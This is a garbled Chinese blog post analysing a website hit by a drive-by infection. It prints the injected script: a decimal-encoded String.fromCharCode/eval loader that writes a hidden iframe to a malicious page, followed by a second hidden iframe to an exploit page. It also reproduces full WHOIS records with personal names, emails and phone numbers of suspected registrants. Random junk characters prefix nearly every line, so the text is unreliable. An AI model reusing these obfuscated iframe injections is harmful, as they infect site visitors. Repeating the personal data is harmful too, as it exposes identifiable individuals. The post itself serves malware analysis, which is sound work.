首发在我的博客里面，
X!Xl
T.]+T[}! http://www.areway.cn/?p=175 ;9MsV. n *"2TT}) Ii_X^)IL( 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
}J$Q %}t.+z(S <script>t=’60,105,102,114,97,109,101,
zc%#7"FM 32,115,114,99,61,104,116,116,112,58,47,47,
* _ {w0U) 102,114,101,101,46,117,45,117,117,117,46,99,
S7vT= 110,47,101,114,114,111,114,46,104,116,109,
dOh`F~
Y)e 32,119,105,100,116,104,61,49,48,48,32,104,
a*@ 6G 101,105,103,104,116,61,48,62,60,47,105,102,
l$=Y(Xk 114,97,109,101,62′;
~ x-
R78' t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
#Y6'Q8g f SO^:6GuJ <script>t=’60,105,102,114,97,109,101,32,115,
M}MXR=X, 114,99,61,104,116,116,112,58,47,47,102,114,
ZbD_AP 101,101,46,117,45,117,117,117,46,99,110,47,
~vgm; O 101,114,114,111,114,46,104,116,109,32,119,
dP}=cZ~ 105,100,116,104,61,49,48,48,32,104,101,105,
=QXLr+
y@ 103,104,116,61,48,62,60,47,105,102,114,97,
|7KW '= O 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
rw/WD( document.write(t);</script>
pV bgjJI s_xWvx8?4. <html xmlns=”
8: E)GhX http://www.w3.org/1999/xhtml 1D159 NLB “>
o\6A]T=R <head>
x@/ N9* <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
JsAl;w <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
t '
_Au8 <title>首页 - 爱生活家庭网
0]% 0wbY1 BBnW0v AZ* 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
4Rj;lA lwB 转换字符串后的大概内容是（谁点击后果自付）：
*;b.x" <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
m!{Xu y \l)<NZ\ 查询玉米u-uuu.cn的详细信息：
C":i56 Domain Name: u-uuu.cn
A<-Prvryt ROID: 20070901s10001s64972306-cn
,Yx"3i, Domain Status: ok
M| r6"~i Registrant Organization: 王雷
$=?1>zvF Registrant Name: 王雷
P6q`i< Administrative Email:
czlovexs@126.com 5MUM{(C Sponsoring Registrar: 北京万网志成科技有限公司
pd2Lc
$O@ Name Server:ns.yovole.com
g%z'#E 97 Name Server:ns1.yovole.com
)9LlM2+y Registration Date: 2007-09-01 17:54
/Xa_Xg7 Expiration Date: 2008-09-01 17:54
Zq w xi1 最后PING了一下地址 都没有什么….
fT9z 4[M \z 'A6@ 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
{@j 0?s <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
9gFb=&1k <script language=”javascript” src=”
lFvRXV^+f http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 5m2`$y-nb >
M-> /vi 这个玉米应该有可能是木马作者的：
bMWL^ *I foafau.info的详细信息：
AL*P 2 \8 Access to INFO WHOIS information is provided to assist persons in
oJ|8~:) determining the contents of a domain name registration record in the
S-)mv'Al'F Afilias registry database. The data in this record is provided by
MLD-uI10{ Afilias Limited for informational purposes only, and Afilias does not
x\HHu] guarantee its accuracy. This service is intended only for query-based
v4_p3& aj access. You agree that you will use this data only for lawful purposes
.1F(-mLd and that, under no circumstances will you use this data to: (a) allow,
wkSIQL enable, or otherwise support the transmission by e-mail, telephone, or
|.kYomJ facsimile of mass unsolicited, commercial advertising or solicitations
X; $ g7A to entities other than the data recipient’s own existing customers; or
v.Fq.
(b) enable high volume, automated, electronic processes that send
}*vUOQQp* queries or data to the systems of Registry Operator, a Registrar, or
7)Zk:53] Afilias except as reasonably necessary to register domain names or
Vq[L4 modify existing registrations. All rights reserved. Afilias reserves
&n:3n the right to modify these terms at any time. By submitting this query,
<
H1+qN=]` you agree to abide by this policy.
l+# l\q%l Domain ID:D22418703-LRMS
UuDT=_1Sh Domain Name:FOAFAU.INFO
;O8Uc&:P Created On:20-Nov-2007 16:05:42 UTC
77y_?di^I Last Updated On:20-Nov-2007 16:05:44 UTC
?,Z[)5 ZN Expiration Date:20-Nov-2008 16:05:42 UTC
ziFg+i%s Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
c,WRgXL Status:CLIENT DELETE PROHIBITED
,SEC~ )L Status:CLIENT RENEW PROHIBITED
v=n'#:k Status:CLIENT TRANSFER PROHIBITED
u $T`Bn Status:CLIENT UPDATE PROHIBITED
4=]CA O=O Status:TRANSFER PROHIBITED
"6.J pUf Registrant ID:GODA-040110615
D$k<<dvv Registrant Name:liu hong
z'cK,psq( Registrant Organization:
.}KY*y Registrant Street1:beijing
pz'l9Gp;@ Registrant Street2:
+h!O dWD9 Registrant Street3:
uc6;%=%+ Registrant City:beijing
FmU>q) Registrant State/Province:
vN=bd7^?= Registrant Postal Code:100000
}1EfyR Registrant Country:CN
P( z# Wk Registrant Phone:+86.860108888777
[X >sG)0S~ Registrant Phone Ext.:
Rg/*)SKj Registrant FAX:
}lN@J,q Registrant FAX Ext.:
RI,Z&kXj2o Registrant Email:bbbshiji@163.com
"2cJ'n/L Admin ID:GODA-240110615
eUiJl6^x Admin Name:liu hong
Vq7L:,N9 Admin Organization:
JryC L] Admin Street1:beijing
V w j^h Admin Street2:
jI`1>>N&1 Admin Street3:
g[P.lpi{U Admin City:beijing
eK
}AVz}k Admin State/Province:
t?[|oz:v Admin Postal Code:100000
{? -@`FR- Admin Country:CN
-49z.(@ki Admin Phone:+86.860108888777
;d"F'd Admin Phone Ext.:
:5/P{Co ( Admin FAX:
O0?.$f9 s Admin FAX Ext.:
#lA 8yWxr Admin Email:bbbshiji@163.com
3`9 H Billing ID:GODA-340110615
} Qjp,(ye Billing Name:liu hong
{fsU(Jj\ Billing Organization:
IvLo&6swW Billing Street1:beijing
@=KuoIV Billing Street2:
igNZe."V Billing Street3:
8=
jl]q$< Billing City:beijing
+J` EBoIo Billing State/Province:
uo`O$k<; Billing Postal Code:100000
@^Tof5?F? Billing Country:CN
"tu BfA+f Billing Phone:+86.860108888777
AF5$U8jf Billing Phone Ext.:
Yh%a7K Billing FAX:
y=!"++T]B< Billing FAX Ext.:
_C ` cO Billing Email:bbbshiji@163.com
& i,on6 Tech ID:GODA-140110615
PZn[Yb: Tech Name:liu hong
(<?6X9F:N Tech Organization:
QN =a { Tech Street1:beijing
5@3[t` n' Tech Street2:
=3rPE"@,[ Tech Street3:
2#z 6= M~A Tech City:beijing
lSw9e<jYO Tech State/Province:
Pkx*1.uo Tech Postal Code:100000
2mVcT3 Tech Country:CN
G([8Q8B4 + Tech Phone:+86.860108888777
M{Ss?G4H Tech Phone Ext.:
w*.q t<rH) Tech FAX:
x\ieWF1 Tech FAX Ext.:
HJl$v#]#+ Tech Email:bbbshiji@163.com
+QN Fu){G Name Server:NS27.DOMAINCONTROL.COM
C`F*00M{ Name Server:NS28.DOMAINCONTROL.COM
"kC uCc Name Server:
FC.d]XA%/d Name Server:
Kg0Vbzvb Name Server:
dI!x Ai Name Server:
[uxhdR`T Name Server:
4^1B'>I Name Server:
*@'4 A :A Name Server:
41luFtE9 Name Server:
~YO-GX( Name Server:
]PVPt,c Name Server:
fI"q/+ Name Server:
td^2gjr^5 tjZ.p.IlG 接着下载每个文件里面的代码：
mQt';|X @ 一步一步看..
J%']t$ AR 
aaq{9Y# 
,<$6-3sC- 
l,Un7]* 
0-~Y[X"9. 
loVUB'OSv 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
